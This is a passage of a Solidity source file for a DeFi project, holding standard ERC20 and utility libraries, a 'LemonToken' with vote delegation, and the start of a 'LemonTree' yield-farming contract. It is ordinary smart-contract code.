* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
//
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
//
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
/**
* @dev Deprecated. This function has issues similar to the ones found in
* {IERC20-approve}, and its usage is discouraged.
*
* Whenever possible, use {safeIncreaseAllowance} and
* {safeDecreaseAllowance} instead.
*/
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
//
/**
* @dev Library for managing
* https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive
* types.
*
* Sets have the following properties:
*
* - Elements are added, removed, and checked for existence in constant time
* (O(1)).
* - Elements are enumerated in O(n). No guarantees are made on the ordering.
*
* ```
* contract Example {
* // Add the library methods
* using EnumerableSet for EnumerableSet.AddressSet;
*
* // Declare a set state variable
* EnumerableSet.AddressSet private mySet;
* }
* ```
*
* As of v3.0.0, only sets of type `address` (`AddressSet`) and `uint256`
* (`UintSet`) are supported.
*/
library EnumerableSet {
// To implement this library for multiple types with as little code
// repetition as possible, we write it in terms of a generic Set type with
// bytes32 values.
// The Set implementation uses private functions, and user-facing
// implementations (such as AddressSet) are just wrappers around the
// underlying Set.
// This means that we can only create new EnumerableSets for types that fit
// in bytes32.
struct Set {
// Storage of set values
bytes32[] _values;
// Position of the value in the `values` array, plus 1 because index 0
// means a value is not in the set.
mapping (bytes32 => uint256) _indexes;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function _add(Set storage set, bytes32 value) private returns (bool) {
if (!_contains(set, value)) {
set._values.push(value);
// The value is stored at length-1, but we add 1 to all indexes
// and use 0 as a sentinel value
set._indexes[value] = set._values.length;
return true;
} else {
return false;
}
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function _remove(Set storage set, bytes32 value) private returns (bool) {
// We read and store the value's index to prevent multiple reads from the same storage slot
uint256 valueIndex = set._indexes[value];
if (valueIndex != 0) { // Equivalent to contains(set, value)
// To delete an element from the _values array in O(1), we swap the element to delete with the last one in
// the array, and then remove the last element (sometimes called as 'swap and pop').
// This modifies the order of the array, as noted in {at}.
uint256 toDeleteIndex = valueIndex - 1;
uint256 lastIndex = set._values.length - 1;
// When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs
// so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement.
bytes32 lastvalue = set._values[lastIndex];
// Move the last value to the index where the value to delete is
set._values[toDeleteIndex] = lastvalue;
// Update the index for the moved value
set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based
// Delete the slot where the moved value was stored
set._values.pop();
// Delete the index for the deleted slot
delete set._indexes[value];
return true;
} else {
return false;
}
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function _contains(Set storage set, bytes32 value) private view returns (bool) {
return set._indexes[value] != 0;
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function _length(Set storage set) private view returns (uint256) {
return set._values.length;
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function _at(Set storage set, uint256 index) private view returns (bytes32) {
require(set._values.length > index, "EnumerableSet: index out of bounds");
return set._values[index];
}
// AddressSet
struct AddressSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(AddressSet storage set, address value) internal returns (bool) {
return _add(set._inner, bytes32(uint256(value)));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(AddressSet storage set, address value) internal returns (bool) {
return _remove(set._inner, bytes32(uint256(value)));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(AddressSet storage set, address value) internal view returns (bool) {
return _contains(set._inner, bytes32(uint256(value)));
}
/**
* @dev Returns the number of values in the set. O(1).
*/
function length(AddressSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(AddressSet storage set, uint256 index) internal view returns (address) {
return address(uint256(_at(set._inner, index)));
}
// UintSet
struct UintSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(UintSet storage set, uint256 value) internal returns (bool) {
return _add(set._inner, bytes32(value));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(UintSet storage set, uint256 value) internal returns (bool) {
return _remove(set._inner, bytes32(value));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(UintSet storage set, uint256 value) internal view returns (bool) {
return _contains(set._inner, bytes32(value));
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function length(UintSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(UintSet storage set, uint256 index) internal view returns (uint256) {
return uint256(_at(set._inner, index));
}
}
//
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
//
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
//
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18.
*
* To select a different value for {decimals}, use {_setupDecimals}.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name, string memory symbol) public {
_name = name;
_symbol = symbol;
_decimals = 18;
}
/**
* @dev Returns the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is
* called.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view returns (uint8) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Sets {decimals} to a value other than the default one of 18.
*
* WARNING: This function should only be called from the constructor. Most
* applications that interact with token contracts will not expect
* {decimals} to ever change, and may work incorrectly if it does.
*/
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
//
// LemonToken with Governance.
contract LemonToken is ERC20("LemonToken", "LEMON"), Ownable {
/// @notice Creates `_amount` token to `_to`. Must only be called by the owner (MasterChef).
function mint(address _to, uint256 _amount) public onlyOwner {
_mint(_to, _amount);
_moveDelegates(address(0), _delegates[_to], _amount);
}
// Burn some lemon, reduce total circulation.
function burn(uint256 _amount) public {
_burn(msg.sender, _amount);
}
// Copied and modified from YAM code:
// https://github.com/yam-finance/yam-protocol/blob/master/contracts/token/YAMGovernanceStorage.sol
// https://github.com/yam-finance/yam-protocol/blob/master/contracts/token/YAMGovernance.sol
// Which is copied and modified from COMPOUND:
// https://github.com/compound-finance/compound-protocol/blob/master/contracts/Governance/Comp.sol
/// @dev A record of each accounts delegate
mapping (address => address) internal _delegates;
/// @notice A checkpoint for marking number of votes from a given block
struct Checkpoint {
uint32 fromBlock;
uint256 votes;
}
/// @notice A record of votes checkpoints for each account, by index
mapping (address => mapping (uint32 => Checkpoint)) public checkpoints;
/// @notice The number of checkpoints for each account
mapping (address => uint32) public numCheckpoints;
/// @notice The EIP-712 typehash for the contract's domain
bytes32 public constant DOMAIN_TYPEHASH = keccak256("EIP712Domain(string name,uint256 chainId,address verifyingContract)");
/// @notice The EIP-712 typehash for the delegation struct used by the contract
bytes32 public constant DELEGATION_TYPEHASH = keccak256("Delegation(address delegatee,uint256 nonce,uint256 expiry)");
/// @notice A record of states for signing / validating signatures
mapping (address => uint) public nonces;
/// @notice An event thats emitted when an account changes its delegate
event DelegateChanged(address indexed delegator, address indexed fromDelegate, address indexed toDelegate);
/// @notice An event thats emitted when a delegate account's vote balance changes
event DelegateVotesChanged(address indexed delegate, uint previousBalance, uint newBalance);
/**
* @notice Delegate votes from `msg.sender` to `delegatee`
* @param delegator The address to get delegatee for
*/
function delegates(address delegator)
external
view
returns (address)
{
return _delegates[delegator];
}
/**
* @notice Delegate votes from `msg.sender` to `delegatee`
* @param delegatee The address to delegate votes to
*/
function delegate(address delegatee) external {
return _delegate(msg.sender, delegatee);
}
/**
* @notice Delegates votes from signatory to `delegatee`
* @param delegatee The address to delegate votes to
* @param nonce The contract state required to match the signature
* @param expiry The time at which to expire the signature
* @param v The recovery byte of the signature
* @param r Half of the ECDSA signature pair
* @param s Half of the ECDSA signature pair
*/
function delegateBySig(
address delegatee,
uint nonce,
uint expiry,
uint8 v,
bytes32 r,
bytes32 s
)
external
{
bytes32 domainSeparator = keccak256(
abi.encode(
DOMAIN_TYPEHASH,
keccak256(bytes(name())),
getChainId(),
address(this)
)
);
bytes32 structHash = keccak256(
abi.encode(
DELEGATION_TYPEHASH,
delegatee,
nonce,
expiry
)
);
bytes32 digest = keccak256(
abi.encodePacked(
"\x19\x01",
domainSeparator,
structHash
)
);
address signatory = ecrecover(digest, v, r, s);
require(signatory != address(0), "LEMON::delegateBySig: invalid signature");
require(nonce == nonces[signatory]++, "LEMON::delegateBySig: invalid nonce");
require(now <= expiry, "LEMON::delegateBySig: signature expired");
return _delegate(signatory, delegatee);
}
/**
* @notice Gets the current votes balance for `account`
* @param account The address to get votes balance
* @return The number of current votes for `account`
*/
function getCurrentVotes(address account)
external
view
returns (uint256)
{
uint32 nCheckpoints = numCheckpoints[account];
return nCheckpoints > 0 ? checkpoints[account][nCheckpoints - 1].votes : 0;
}
/**
* @notice Determine the prior number of votes for an account as of a block number
* @dev Block number must be a finalized block or else this function will revert to prevent misinformation.
* @param account The address of the account to check
* @param blockNumber The block number to get the vote balance at
* @return The number of votes the account had as of the given block
*/
function getPriorVotes(address account, uint blockNumber)
external
view
returns (uint256)
{
require(blockNumber < block.number, "LEMON::getPriorVotes: not yet determined");
uint32 nCheckpoints = numCheckpoints[account];
if (nCheckpoints == 0) {
return 0;
}
// First check most recent balance
if (checkpoints[account][nCheckpoints - 1].fromBlock <= blockNumber) {
return checkpoints[account][nCheckpoints - 1].votes;
}
// Next check implicit zero balance
if (checkpoints[account][0].fromBlock > blockNumber) {
return 0;
}
uint32 lower = 0;
uint32 upper = nCheckpoints - 1;
while (upper > lower) {
uint32 center = upper - (upper - lower) / 2; // ceil, avoiding overflow
Checkpoint memory cp = checkpoints[account][center];
if (cp.fromBlock == blockNumber) {
return cp.votes;
} else if (cp.fromBlock < blockNumber) {
lower = center;
} else {
upper = center - 1;
}
}
return checkpoints[account][lower].votes;
}
function _delegate(address delegator, address delegatee)
internal
{
address currentDelegate = _delegates[delegator];
uint256 delegatorBalance = balanceOf(delegator); // balance of underlying LEMONs (not scaled);
_delegates[delegator] = delegatee;
emit DelegateChanged(delegator, currentDelegate, delegatee);
_moveDelegates(currentDelegate, delegatee, delegatorBalance);
}
function _moveDelegates(address srcRep, address dstRep, uint256 amount) internal {
if (srcRep != dstRep && amount > 0) {
if (srcRep != address(0)) {
// decrease old representative
uint32 srcRepNum = numCheckpoints[srcRep];
uint256 srcRepOld = srcRepNum > 0 ? checkpoints[srcRep][srcRepNum - 1].votes : 0;
uint256 srcRepNew = srcRepOld.sub(amount);
_writeCheckpoint(srcRep, srcRepNum, srcRepOld, srcRepNew);
}
if (dstRep != address(0)) {
// increase new representative
uint32 dstRepNum = numCheckpoints[dstRep];
uint256 dstRepOld = dstRepNum > 0 ? checkpoints[dstRep][dstRepNum - 1].votes : 0;
uint256 dstRepNew = dstRepOld.add(amount);
_writeCheckpoint(dstRep, dstRepNum, dstRepOld, dstRepNew);
}
}
}
function _writeCheckpoint(
address delegatee,
uint32 nCheckpoints,
uint256 oldVotes,
uint256 newVotes
)
internal
{
uint32 blockNumber = safe32(block.number, "LEMON::_writeCheckpoint: block number exceeds 32 bits");
if (nCheckpoints > 0 && checkpoints[delegatee][nCheckpoints - 1].fromBlock == blockNumber) {
checkpoints[delegatee][nCheckpoints - 1].votes = newVotes;
} else {
checkpoints[delegatee][nCheckpoints] = Checkpoint(blockNumber, newVotes);
numCheckpoints[delegatee] = nCheckpoints + 1;
}
emit DelegateVotesChanged(delegatee, oldVotes, newVotes);
}
function safe32(uint n, string memory errorMessage) internal pure returns (uint32) {
require(n < 2**32, errorMessage);
return uint32(n);
}
function getChainId() internal pure returns (uint) {
uint256 chainId;
assembly { chainId := chainid() }
return chainId;
}
}
//
// LemonTree can make Lemon and he is a fair guy.
//
// Note that it's ownable and the owner wields tremendous power. The ownership
// will be transferred to a governance smart contract once LEMON is sufficiently
// distributed and the community can show to govern itself.
//
// Have fun reading it. Hopefully it's bug-free. God bless.
contract LemonTree is Ownable {
using SafeMath for uint256;
using SafeERC20 for IERC20;
// Info of each user.
struct UserInfo {
uint256 amount; // How many LP tokens the user has provided.
uint256 rewardDebt; // Reward debt. See explanation below.
//
// We do some fancy math here. Basically, any point in time, the amount of LEMONs
// entitled to a user but is pending to be distributed is:
//
// pending reward = (user.amount * pool.accLemonPerShare) - user.rewardDebt
//
// Whenever a user deposits or withdraws LP tokens to a pool. Here's what happens:
// 1. The pool's `accLemonPerShare` (and `lastRewardBlock`) gets updated.
// 2. User receives the pending reward sent to his/her address.
// 3. User's `amount` gets updated.
// 4. User's `rewardDebt` gets updated.
}
// Info of each pool.
struct PoolInfo {
IERC20 lpToken; // Address of LP token contract.
uint256 allocPoint; // How many allocation points assigned to this pool. LEMONs to distribute per block.
uint256 lastRewardBlock; // Last block number that LEMONs distribution occurs.
uint256 accLemonPerShare; // Accumulated LEMONs per share, times 1e12. See below.
}
// Lemon supply must be less than max supply!
uint256 public maxLemonSupply = 10*10**26;
// When the lemon reaches this level, the yield is halved!
uint256 public halvingLemonSupply = 5*10**26;
// The LEMON TOKEN!
LemonToken public lemon;
// Dev address.
address public devaddr;
// Block number when bonus LEMON period ends.
uint256 public bonusEndBlock;
// LEMON tokens created per block.
uint256 public lemonPerBlock;
// Bonus muliplier for early lemon makers.
